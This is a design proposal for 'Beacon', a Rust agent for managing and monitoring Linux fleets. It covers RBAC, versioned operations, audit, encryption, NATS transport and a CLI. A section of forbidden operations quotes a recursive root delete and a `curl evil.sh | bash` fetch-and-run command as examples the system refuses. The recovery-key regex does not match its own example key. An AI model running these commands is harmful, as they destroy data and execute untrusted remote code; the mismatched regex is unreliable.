

BEACON

Remote Operations, Monitoring,
Automation & Telemetry agent for Project
ATLAS (Autonomous Telemetry, Logging, Analysis,
and Surveillance)

Technical Design and Implementation Proposal

Platform: Linux (x86_64, ARM, Raspberry Pi)

Language: Rust (async-first, Tokio runtime)

Transport: NATS + JetStream

Storage: SQLite (Agent) PostgreSQL (Server)

Interface: TUI(Terminal User Interface) (Ratatui) · REST API · WebSocket

Security: RBAC · Argon2id · AES-256-GCM · TLS 1.3

Contents

1	Executive Summary	4
2	System Architecture	4
2.1	Binary Topology	4
2.2	High-Level Communication Flow	4
2.3	Agent Engine Architecture	5
3	Core Design Principles	5
3.1	The Approved Operations Model	5
3.2	Supported Operation Categories	6
4	Identity Engine	6
5	Authentication & Authorization	7
5.1	Roles	7
5.2	Password Storage	7
5.3	Password Recovery	7
5.4	RBAC Enforcement Scope	7
5.5	Namespace-Level RBAC	8
5.6	Authentication Token Model	8
6	Namespace System	8
6.1	Definition	8
6.2	Versioning	8
6.3	Namespace Groups	8
6.4	Agent Tags	9
7	Execution Engine	9
7.1	Execution Record	9
7.2	Execution States	9
7.3	Execution Lock Manager	9
7.4	Resource Controls	10
8	Scheduler Engine	10
8.1	Schedule Types	10
8.2	Execution Policies	10
8.3	Missed Schedule Handling	10
8.4	Maintenance Windows	10
9	Metrics Engine	11
9.1	Collectors	11
9.2	Collector Health Tracking	11
9.3	Data Retention	11
9.4	Metrics Configuration	11
10	Logging Engine	12
10.1	Severity Levels	12

11 Immutable Audit Engine	12
11.1 Audited Events	12
11.2 Permitted Audit Operations	13
12 Storage Engine	13
12.1 Agent Storage (SQLite)	13
12.2 Server Storage (PostgreSQL)	13
13 Queue Engine	13
13.1 Message States	13
13.2 Offline Buffering	14
14 Encryption Engine	14
14.1 Encryption Scheme	14
14.2 Encrypted Data	14
14.3 Key Rotation	14
15 Transport: NATS + JetStream	15
15.1 Why NATS?	15
15.2 Subject Naming Convention	15
15.3 NATS Security / ACLs	15
16 REST API	15
16.1 Agent API Endpoints	16
16.2 Server API Endpoints	16
17 WebSocket Engine	16
17.1 Available Channels	16
18 Health Engine	16
19 Terminal User Interface (TUI)	17
19.1 Views	17
19.2 TUI Requirements	17
20 Plugin Architecture	17
21 CLI Reference	17
21.1 Installation & Service	17
21.2 Initialization	17
21.3 Authentication	18
21.4 Namespace Management	18
21.5 Group Management	18
21.6 Agent Management	18
21.7 User Management	18
21.8 Database Operations	18
21.9 Encryption	18
21.10 Queue Management	18
21.11 Logs & Audit	19
21.12 Scheduling & Maintenance	19

21.13	Connectivity	19
22	Edge Cases & Failure Handling	19
22.1	Execution Edge Cases	19
22.2	Database Edge Cases	19
22.3	Authentication Edge Cases	19
22.4	Metrics Edge Cases	20
22.5	Queue Edge Cases	20
22.6	WebSocket Edge Cases	20
22.7	Logging Edge Cases	20
22.8	System-Level Edge Cases	20
23	Non-Functional Requirements	21
24	Comparable Systems	21
25	Roadmap	22
A	Glossary	22

1 Executive Summary

Beacon is a **production-grade, distributed Linux operations and aobeservability enable agent** written entirely in Rust. It enables administrators to manage fleets of Linux systems remotely through approved automation workflows, real-time telemetry collection, secure execution engines, immutable audit trails, and offline-capable local operation.

It is an **operations platform** — comparable in architecture to components found in systems such as Salt, Ansible, Rundeck, Zabbix, Prometheus, and osquery — while remaining purpose-built, Rust-native, and deployable on hardware as constrained as a Raspberry Pi.

Key Design Principles

- No arbitrary shell execution — all operations are approved and versioned
- Offline-first: agents continue collecting, logging, auditing, and queuing without connectivity
- RBAC enforced at every boundary: CLI, TUI, REST, WebSocket, Scheduler, Database
- Immutable audit trails — not even Captain can delete audit records
- Encryption at rest (AES-256-GCM) and in transit (TLS 1.3)
- Single agent scales from Raspberry Pi to large fleet

2 System Architecture

2.1 Binary Topology

Beacon ships as two separate binaries:

Binary	Description
beacon-server	Central management server. Manages authentication, RBAC, namespace definitions, group orchestration, metrics aggregation, scheduling, audit storage, and the NATS gateway.
beacon-agent	Installed on every managed Linux machine. Executes operations locally, collects telemetry, maintains local SQLite databases, buffers data offline, and communicates with the server exclusively via NATS.

A single Beacon Server is designed to manage 1 to 1 000+ agents without architectural changes.

2.2 High-Level Communication Flow

```

Users
|
v
Beacon Server
+-- Authentication & RBAC

```

```

+-- Audit System
+-- Namespace Manager
+-- Group Manager
+-- Metrics Manager
+-- API Server (REST + WebSocket)
+-- NATS Client
|
v
NATS + JetStream (Transport Layer)
+-- Commands
+-- Metrics
+-- Logs
+-- Events / Audit Events
+-- Heartbeats
|
v
Beacon Agents (1 ... N)

```

Listing 1: System Data Flow

2.3 Agent Engine Architecture

Every agent is composed of independent, purpose-scoped engines:

- Identity Engine
- Authentication Engine
- Authorization Engine
- Configuration Engine
- Namespace Engine
- Execution Engine
- Scheduler Engine
- Metrics Engine
- Logging Engine
- Audit Engine
- Encryption Engine
- Queue Engine
- Storage Engine
- API Engine
- WebSocket Engine
- Service Engine
- Health Engine
- Recovery Engine
- Plugin Engine

3 Core Design Principles

3.1 The Approved Operations Model

Beacon is **not** a shell wrapper. Arbitrary shell execution is strictly forbidden at every layer.

Forbidden Operations — Will Never Be Supported

```

beacon exec "rm -rf /"
beacon exec "curl evil.sh | bash"
beacon namespace add-command "user supplied shell"

```

All execution occurs through **approved, versioned operations** contained within namespaces:

```
{
  "namespace": "update_system",
  "operations": [
    { "type": "update_packages" },
    { "type": "upgrade_packages" },
    { "type": "autoremove_packages" }
  ]
}
```

Listing 2: Example namespace operation definition

3.2 Supported Operation Categories

- Package Operations
- Service Operations
- File Operations
- Directory Operations
- User Operations
- Group Operations
- Backup Operations
- Network Operations
- Container Operations
- System Operations
- Custom Plugin Operations

Every operation definition must include:

Field	Purpose
<code>operation_id</code>	Unique stable identifier
<code>version</code>	Immutable version reference
<code>inputs</code>	Declared input parameters
<code>outputs</code>	Declared output schema
<code>timeout</code>	Maximum allowed runtime
<code>required_role</code>	Minimum RBAC role to execute
<code>audit_policy</code>	What to record and retain
<code>rollback_policy</code>	How to reverse the operation

4 Identity Engine

Each agent generates a unique, stable `app_id` (agent identity) derived from hardware and environment characteristics:

- Machine ID (`/etc/machine-id`)
- Hostname
- CPU serial number
- RAM configuration
- Motherboard UUID
- First boot timestamp
- Random 256-bit salt

These inputs are combined and hashed using **SHA-256**. The result is stored permanently. **Only a Captain role may trigger regeneration.** All generated data carries:

Field	Description
<code>app_id</code>	Stable agent identity
<code>timestamp</code>	Generation time
<code>sequence_number</code>	Monotonic counter
<code>schema_version</code>	Data schema version

On first startup the agent registers itself with the server via NATS, transmitting: `agent_id`, `hostname`, `os`, `architecture`, `version`, `last_seen`, `status`, and `tags`.

5 Authentication & Authorization

5.1 Roles

Beacon implements a three-tier RBAC model:

Role	Capabilities
Viewer	View metrics, logs, namespaces, groups, agents, executions, audit history. Export logs and metrics. No write or execute access.
Commander	Everything Viewer can do, plus: execute namespaces and groups, pause/resume/stop executions. Cannot create, edit, or delete resources. Cannot manage users or configuration.
Captain	Full administrative control. User CRUD, namespace and group CRUD, scheduling, password management, database operations, backup management, configuration changes, encryption management, metrics configuration, agent management, audit management.

5.2 Password Storage

All passwords are stored using **Argon2id**. Plaintext storage is prohibited at every layer.

5.3 Password Recovery

- **Primary recovery:** Recovery Key generated at initialization (format: AB2F-D921-882C-771F; regex: `^[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{3}$`). The user must save this key securely.
- **Optional secondary:** Security question *What is your favourite food?* (configured post-initialization, used only as a secondary factor).

All password resets are recorded in the immutable audit log.

5.4 RBAC Enforcement Scope

RBAC is enforced at **every boundary** — UI restrictions alone are not acceptable:

- CLI
- TUI
- REST API
- WebSocket API
- Scheduler
- Execution Engine
- Database Actions
- Configuration Actions
- NATS Publishing
- Administrative Operations

5.5 Namespace-Level RBAC

Each namespace carries its own minimum role requirement:

```
restart_nginx:
  required_role: commander

create_admin_user:
  required_role: captain

read_disk_usage:
  required_role: viewer
```

Listing 3: Namespace RBAC configuration

Commanders cannot execute namespaces requiring a role above their own. The server validates this server-side on every request.

5.6 Authentication Token Model

- Username/password login produces a short-lived **JWT access token**
- A **refresh token** enables session renewal without re-authentication
- Session expiration is enforced; all login events are logged

6 Namespace System

6.1 Definition

A **namespace** is a reusable, versioned automation workflow consisting of one or more approved operations executed in sequence.

6.2 Versioning

Every namespace is **immutable** once published. Updates create a new version:

```
update_system_v1    # Original
update_system_v2    # Added autoremove step
update_system_v3    # Added reboot check
```

Execution references a specific version. Running executions never switch versions mid-flight.

6.3 Namespace Groups

Namespaces can be composed into ordered groups:

```
provision_server:
  1. install_packages
  2. configure_firewall
  3. create_users
  4. start_services
```

Listing 4: Example: Server Provisioning Group

Groups support ordered execution, reordering, individual namespace enable/disable, and group-level execution history.

6.4 Agent Tags

Agents can be tagged and namespaces executed against tag sets:

```
beacon namespace run update_system --tag production
beacon namespace run audit_logs    --tag database
beacon group run provision_server  --tag staging
```

Supported built-in tags: production, staging, testing, database, web, edge, raspberrypi.

7 Execution Engine

7.1 Execution Record

Every execution is assigned a full identity record:

Field	Description
execution_id	Unique execution identifier
namespace_version	Pinned version at time of launch
initiator	Authenticated user / scheduler
timestamp	UTC start time
status	Current state

7.2 Execution States

- Pending
- Queued
- Running
- Paused
- Completed
- Failed
- Cancelled
- TimedOut

7.3 Execution Lock Manager

Per-namespace lock modes prevent execution collisions:

```
update_system:
  lock_mode: deny      # Reject concurrent runs entirely

deploy_service:
  lock_mode: queue     # Queue additional requests

restart_nginx:
  lock_mode: replace   # Cancel queued, run new
```

```
collect_stats:
  lock_mode: parallel  # Allow simultaneous runs
```

Listing 5: Lock mode configuration

7.4 Resource Controls

```
max_parallel_executions: 10
max_queue_size: 10000
max_ws_clients: 100
max_log_rate: 1000/sec
max_metric_rate: 1000/sec
```

Listing 6: Global resource limits

Requests exceeding these limits are rejected with appropriate error responses.

8 Scheduler Engine

8.1 Schedule Types

- Every Minute
- Every Hour
- Every Day
- Every Week
- Every Month
- On Boot
- Cron Expression

8.2 Execution Policies

When a schedule fires while a prior execution is still active:

Policy	Behaviour
Skip	Do not start a new execution
Queue	Enqueue behind running execution
Replace	Cancel queued, start new
Parallel	Allow concurrent execution

8.3 Missed Schedule Handling

Policy	Behaviour
ExecuteImmediately	Run as soon as agent is available
Ignore	Silently skip the missed window
Queue	Enqueue the missed execution

8.4 Maintenance Windows

```
beacon maintenance enable production  # Suppress dangerous ops
beacon maintenance disable production # Resume normal
scheduling
```

9 Metrics Engine

9.1 Collectors

Collector	Metrics
CPU	Usage, per-core usage, frequency, temperature, context switches, interrupts, load average
RAM	Total, used, free, cached, buffers, swap
Storage	Capacity, usage, IOPS, throughput, latency
Network	RX/TX bytes, errors, connections, interface status
Processes	PID, name, user, CPU%, memory%, start time
Mounted Drives	Filesystem, mount path, capacity, usage
Kernel	Kernel version, distribution, uptime, hostname, architecture
Services	Status, restart count, last changed
Temperature	Per-sensor readings
Power	Battery state, AC/DC status
Containers	Container ID, name, CPU/RAM usage, status
Kubernetes Logs	Timestamp, namespace, pod, container, node, stream (stdout/stderr), log message

9.2 Collector Health Tracking

Each collector independently tracks:

Field	Type
<code>last_run</code>	Timestamp
<code>last_success</code>	Timestamp
<code>last_failure</code>	Timestamp
<code>failure_count</code>	Counter
<code>status</code>	Healthy Degraded Failed Disabled

9.3 Data Retention

	Resolution	Interval	Retention
Raw		1 second	24 hours
Rollup		1 minute	30 days
Rollup		1 hour	365 days

Automatic pruning is applied to all tiers. Process identity uses the triple (`pid`, `boot_id`, `start_time`) to avoid PID reuse ambiguity.

9.4 Metrics Configuration

```
beacon cpu enable / disable
beacon ram enable / disable
beacon storage enable / disable
beacon network enable / disable
beacon process enable / disable
```

```
beacon drives enable / disable
beacon system enable / disable

beacon metrics enable-all
beacon metrics disable-all
beacon metrics interval 1s
beacon metrics interval 5s
beacon metrics interval 30s
beacon metrics interval 1m
beacon metrics retention 30d
```

Listing 7: Metrics management commands

10 Logging Engine

Every event generates a structured log entry:

```
{
  "timestamp":      "2024-01-15T14:23:01.123Z",
  "app_id":         "sha256:a3f1...",
  "execution_id":   "exec-00421",
  "namespace":      "update_system",
  "severity":        "Info",
  "source":          "execution_engine",
  "message":         "Package upgrade completed successfully"
}
```

Listing 8: Log entry schema

10.1 Severity Levels

- Trace
- Debug
- Info
- Warning
- Error
- Critical

Severity is **never inferred from stdout**. It must be explicitly assigned by the producing subsystem.

11 Immutable Audit Engine

Audit records cannot be deleted or modified — not even by the Captain role.

11.1 Audited Events

- Login / Logout
- Namespace execution
- Password resets
- User creation / deletion
- Agent removal
- Configuration changes
- Encryption key rotation
- RBAC changes
- All failed actions
- All unauthorized attempts

11.2 Permitted Audit Operations

Allowed: Archive, Export, Compress, Verify
Forbidden: Delete, Modify, Rewrite

12 Storage Engine

12.1 Agent Storage (SQLite)

The agent uses five dedicated SQLite databases to avoid lock contention:

Database	Contents
<code>config.db</code>	Agent configuration, namespace definitions
<code>metrics.db</code>	Metric time-series data, rollups
<code>logs.db</code>	Structured event logs
<code>audit.db</code>	Immutable audit records
<code>queue.db</code>	Outbound message queue

All databases operate with WAL mode, periodic VACUUM, integrity checks, and scheduled backups.

12.2 Server Storage (PostgreSQL)

The server uses PostgreSQL for all persistent state:

- Users & Roles
- Agents & Tags
- Namespace Definitions
- Groups
- Metrics History
- Audit Events
- Log Aggregates
- Schedules
- Configurations
- Execution History

13 Queue Engine

13.1 Message States

All outbound data passes through the queue:

State	Description
Pending	Awaiting dispatch
Processing	Actively being sent
Sent	Successfully delivered
Failed	Delivery attempt failed
DeadLetter	Exhausted max retry attempts

After `max_retries`: 5 failures, messages enter the Dead Letter Queue for manual inspection and optional replay.

13.2 Offline Buffering

During network loss the agent continues all local operations without interruption:

- Continue collecting metrics
- Continue logging events
- Continue auditing actions
- Continue queueing outbound data

On connectivity restoration, all queued data replays automatically in order.

14 Encryption Engine

14.1 Encryption Scheme

Layer	Algorithm
Transport	TLS 1.3
Payload (optional)	AES-256-GCM
Key Derivation	Argon2id from master password
Log Encryption (optional)	AES-256-GCM

14.2 Encrypted Data

- Queued outbound payloads
- Stored credentials
- Sensitive configuration values
- Optionally: full log storage

14.3 Key Rotation

Key rotation is an atomic operation with rollback support:

```

1. Generate new AES-256-GCM key
2. Decrypt all existing data with current key
3. Re-encrypt with new key
4. Verify all data integrity
5. Commit rotation
   (Rollback supported at any step)
```

Listing 9: Key rotation process

15 Transport: NATS + JetStream

15.1 Why NATS?

NATS JetStream provides out-of-the-box:

- Durable messaging
- Replay semantics
- Acknowledgements
- Consumer groups
- Message persistence
- Retry handling
- Stream retention policies
- Dead-letter queues

There is no need to implement custom queueing for inter-component communication.

15.2 Subject Naming Convention

```
beacon.agent.<agent_id>.commands
beacon.agent.<agent_id>.logs
beacon.agent.<agent_id>.metrics
beacon.agent.<agent_id>.audit
beacon.agent.<agent_id>.heartbeat

beacon.group.<tag>.commands      # Tag-based targeting
beacon.all.commands             # Broadcast to all agents
```

Listing 10: NATS subject hierarchy

15.3 NATS Security / ACLs

NATS is transport only. RBAC lives entirely inside Beacon Server. Agents make no authorization decisions.

Example ACL for a single agent:

```
Agent001:
publish:
  - beacon.agent.agent001.logs
  - beacon.agent.agent001.metrics
  - beacon.agent.agent001.audit
  - beacon.agent.agent001.heartbeat
subscribe:
  - beacon.agent.agent001.commands
# No other subjects permitted
```

Listing 11: Agent001 NATS ACL

Least privilege is applied to every agent identity.

16 REST API

All REST endpoints are RBAC-protected. Everything available locally must be available remotely.

16.1 Agent API Endpoints

/auth	/users	/namespaces
/executions	/logs	/metrics
/audit	/config	/queue
/system		

16.2 Server API Endpoints

/api/v1/auth	/api/v1/users
/api/v1/agents	/api/v1/namespaces
/api/v1/groups	/api/v1/executions
/api/v1/logs	/api/v1/metrics
/api/v1/audit	/api/v1/config
/api/v1/backups	

17 WebSocket Engine

Clients subscribe to specific channels rather than receiving a global broadcast:

```
{
  "channel": "logs",
  "namespace": "update_system",
  "agent_id": "agent001"
}
```

Listing 12: WebSocket subscription example

17.1 Available Channels

- logs
- metrics
- executions
- audit
- health

18 Health Engine

The agent reports a system-level health state visible in both TUI and REST API:

State	Description
BOOTING	Initial startup sequence
INITIALIZING	First-time setup
ONLINE	Fully operational
DEGRADED	One or more subsystems impaired
OFFLINE_BUFFERING	Network lost, buffering locally
RECOVERING	Restoring from failure
FAILED	Critical subsystem failure
SHUTTING_DOWN	Graceful shutdown in progress

19 Terminal User Interface (TUI)

Built using **Ratatui**. The TUI provides full management capability equivalent to the CLI and REST API.

19.1 Views

- Dashboard
- Agents
- Namespaces
- Groups
- Executions
- Metrics
- Logs
- Audit
- Queue
- Users
- Configuration
- System Health
- Collectors
- Plugins

19.2 TUI Requirements

- Keyboard-driven navigation
- Live data updates (WebSocket-backed)
- Search and filtering on all views
- Role-aware menu visibility (Viewers cannot see execution controls)

20 Plugin Architecture

Beacon supports a first-class plugin system for extending core capabilities:

Plugin Type	Purpose
Metric Collectors	Custom hardware/software telemetry
Operations	New approved operation types
Exporters	Push data to external systems (Prometheus, Grafana)
Notifications	Alert channels (Slack, PagerDuty, email)
Integrations	Third-party system connectors

Plugin isolation requirements:

- Declared permission scope
- Cryptographic signing
- Independent versioning
- Health and status tracking

21 CLI Reference

21.1 Installation & Service

```
beacon install / uninstall
beacon service install / remove / start / stop / restart /
status
```

21.2 Initialization

```
beacon init
# Prompts: Master Password, Captain/Commander/Viewer Passwords,
#           Domain, Server IP, Ports, Intervals
```

21.3 Authentication

```
beacon login / logout / whoami
```

21.4 Namespace Management

```
beacon namespace create / edit / delete / list / show
beacon namespace export / import
beacon namespace run / stop / pause / resume
```

21.5 Group Management

```
beacon group create / edit / delete / reorder
beacon group add-namespace / remove-namespace
beacon group run
```

21.6 Agent Management

```
beacon agent list / show / enable / disable
beacon agent remove / rename / regenerate-id
```

21.7 User Management

```
beacon user create / edit / delete / enable / disable / list
beacon user role assign
```

21.8 Database Operations

```
beacon db status / backup / restore / compact / vacuum /
    verify / export
beacon db clear / reset
```

21.9 Encryption

```
beacon encryption enable / disable / rotate-key / status
```

21.10 Queue Management

```
beacon queue status / clear / pause / resume / retry-failed
```

21.11 Logs & Audit

```
beacon logs / logs follow / logs export / logs search
beacon logs clear / clear errors / clear warnings
beacon audit logs / audit export / audit clear
```

21.12 Scheduling & Maintenance

```
beacon schedule create
beacon maintenance enable <tag>
beacon maintenance disable <tag>
```

21.13 Connectivity

```
beacon server connect / disconnect / status / ping / test
```

22 Edge Cases & Failure Handling

22.1 Execution Edge Cases

- **Same namespace launched twice** — Lock Manager enforces configured mode (deny/queue/replace/parallel)
- **Namespace edited during execution** — Running execution is pinned to immutable version; new version takes effect on next launch
- **Agent reboot during execution** — Recovery Engine resumes or marks the execution as interrupted on boot
- **Timeout during execution** — Execution transitions to `TimedOut`; rollback policy applied
- **Dependency failure** — Halts execution chain; audit record updated with failure reason

22.2 Database Edge Cases

- **Corrupted SQLite** — Integrity checks on startup trigger recovery from backup
- **Full disk** — Logging and metrics degrade gracefully; alert emitted
- **WAL corruption** — WAL is rebuilt from last clean checkpoint
- **Backup restore mismatch** — Schema version validation rejects incompatible restores

22.3 Authentication Edge Cases

- **Brute force** — Progressive backoff with account lockout after threshold
- **Password reset abuse** — Rate-limited; all attempts audited
- **Recovery key theft** — Invalidated on use; new key issued
- **Session replay** — JWT tokens are single-use via JTI claim tracking

22.4 Metrics Edge Cases

- **Missing sensors** — Collector marks as **Degraded**; null values emitted rather than crashing
- **Invalid temperature data** — Out-of-range values are filtered and flagged
- **Process explosion** — Collection is capped at configured process limit
- **Collector crash** — Health Engine detects failure and marks collector **Failed**; restarts independently

22.5 Queue Edge Cases

- **Infinite retries** — Hard `max_retries` cap; overflow enters Dead Letter Queue
- **Duplicate delivery** — Deduplication by message ID at consumer
- **Message corruption** — Checksum validation on dequeue; corrupted messages moved to Dead Letter Queue
- **Dead-letter overflow** — Oldest dead-letter entries archived when queue limit reached

22.6 WebSocket Edge Cases

- **Slow consumers** — Back-pressure applied; oldest buffered frames dropped with warning
- **Client floods** — Rate limiting per connection; connections exceeding limit closed
- **Reconnect storms** — Exponential backoff enforced on reconnect
- **Memory exhaustion** — Per-client buffer cap; server closes offending connections

22.7 Logging Edge Cases

- **Log storms** — Rate limited to `max_log_rate`; excess records dropped with counter
- **Log injection** — All user-provided strings are sanitized before storage
- **Huge command outputs** — Truncated at configurable limit; truncation recorded in log entry
- **Recursive logging** — Logging subsystem writes directly to disk, never through itself

22.8 System-Level Edge Cases

- **Clock changes / time drift** — Timestamps are always UTC; monotonic clocks used for durations
- **Network loss** — Offline buffering activates automatically
- **Power loss** — SQLite WAL ensures durability; Recovery Engine handles interrupted executions on restart
- **Service crash** — systemd/service manager restarts agent; Recovery Engine runs on boot
- **Kernel upgrades** — Agent service survives restart; state is fully persisted in SQLite

23 Non-Functional Requirements

Requirement	Specification
Language	Rust only — no C bindings, no shell scripts in core
Runtime	Tokio async runtime; event-driven throughout
Architecture	x86_64, ARM (including Raspberry Pi)
Service Model	Systemd service, auto-start, crash recovery
Scalability	1 to 1 000+ agents from single server instance
Offline	Full local operation without server connectivity
Security	Secure by default; no insecure defaults exposed
Shutdown	Graceful shutdown with in-flight execution completion
Testing	Comprehensive unit, integration, and property-based tests
Observability	Production-grade internal logging and health metrics
Extensibility	Plugin architecture for collectors, operations, exporters
Future	Multi-server federation support in roadmap
Parity	Full remote management parity with local CLI
Auditability	Every action traceable; audit trail is immutable
RBAC Design	Extensible to custom roles in future releases

24 Comparable Systems

Beacon occupies a position at the intersection of several established infrastructure systems while remaining purpose-built and Rust-native:

System	Domain	Overlap with Beacon
Salt / Ansible	Config Management	Namespace-based execution, agent model
Rundeck	Operations Automation	RBAC execution, scheduling, audit trails
Zabbix	Monitoring	Telemetry collection, alerting, agents
Prometheus	Metrics	Time-series collection, retention tiers
osquery	Fleet Visibility	Agent identity, process monitoring, audit

Unlike any single system above, Beacon unifies remote execution, telemetry, audit, scheduling, offline operation, and fleet management into a single Rust binary pair — with a TUI, REST API, and WebSocket streaming included.

25 Roadmap

Phase	Milestone	Scope
1	Agent Core	Identity, Auth, Execution Engine, SQLite storage, basic CLI
2	Metrics & Logging	All collectors, logging engine, retention, TUI dashboard
3	Server + NATS	Beacon Server, NATS integration, REST API, multi-agent
4	Audit & Encryption	Immutable audit engine, AES-256-GCM, key rotation
5	Scheduler & Groups	Full scheduler, namespace groups, maintenance windows
6	WebSocket & TUI	Full TUI, WebSocket streaming, live updates
7	Plugin System	Plugin API, signing, exporter plugins
8	Fleet & Federation	Multi-server support, tag-based fleet operations

A Glossary

agent_id SHA-256 identity derived from hardware characteristics. Stable across reboots.

Approved Operation

A typed, versioned action that Beacon can execute (e.g., `update_packages`). Not a shell string.

Captain Highest RBAC role. Full administrative control.

Commander Middle RBAC role. Can execute; cannot configure.

Dead Letter Queue Storage for messages that have exhausted all retry attempts.

Execution Lock Per-namespace concurrency control policy.

JetStream Persistent messaging layer built on NATS.

Namespace A versioned, reusable workflow containing one or more approved operations.

NATS High-performance message broker used for all agent-server communication.

Recovery Key Primary account recovery credential generated at initialization.

Rollup Aggregated metric snapshot at lower resolution for long-term retention.

TUI Terminal User Interface built with Ratatui.

Viewer Lowest RBAC role. Read-only access to all data.

WAL Write-Ahead Log — SQLite durability mechanism.